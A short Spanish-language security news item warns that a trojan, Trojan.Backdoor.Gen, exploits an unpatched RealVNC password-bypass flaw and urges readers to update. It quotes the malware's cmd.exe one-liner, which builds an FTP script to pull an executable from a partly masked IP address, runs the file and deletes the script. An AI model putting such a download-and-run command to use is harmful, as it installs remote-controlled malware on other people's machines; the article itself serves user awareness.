RealVNC es un programa muy extendido para acceder de forma remota a nuestros PCs, como si estuviésemos sentados delante del monitor. A través de Internet y con una contraseña podemos tomar el control de nuestro equipo desde donde estemos.

En Mayo de este mismo año se detecto un grave problema de seguridad por el que era posible conectarse al PC sin conocer la contraseña. Son todavía muchos los equipos que no han sido actualizados para solventar este problema, y de esto se aprovecha un nuevo malware: Trojan.Backdoor.Gen.

Este troyano puede tomar el control completo del equipo, instalar y desinstalar programas, guardar toda la actividad del PC, etc.

Básicamente lo que hace es ejecutar un comando en el PC aprovechando el problema de seguridad del RealVNC, con el que descarga e instala el troyano. El comando es el siguiente:

cmd.exe /c echo open 80.103.XX.XX 22998>x&echo get 84785_redworld2.exe>>x&echo quit>>x&ftp -n -s:x&84785_redworld2.exe&del x&exit

Si tienes instalado el RealVNC, comprueba que dispones de la última versión.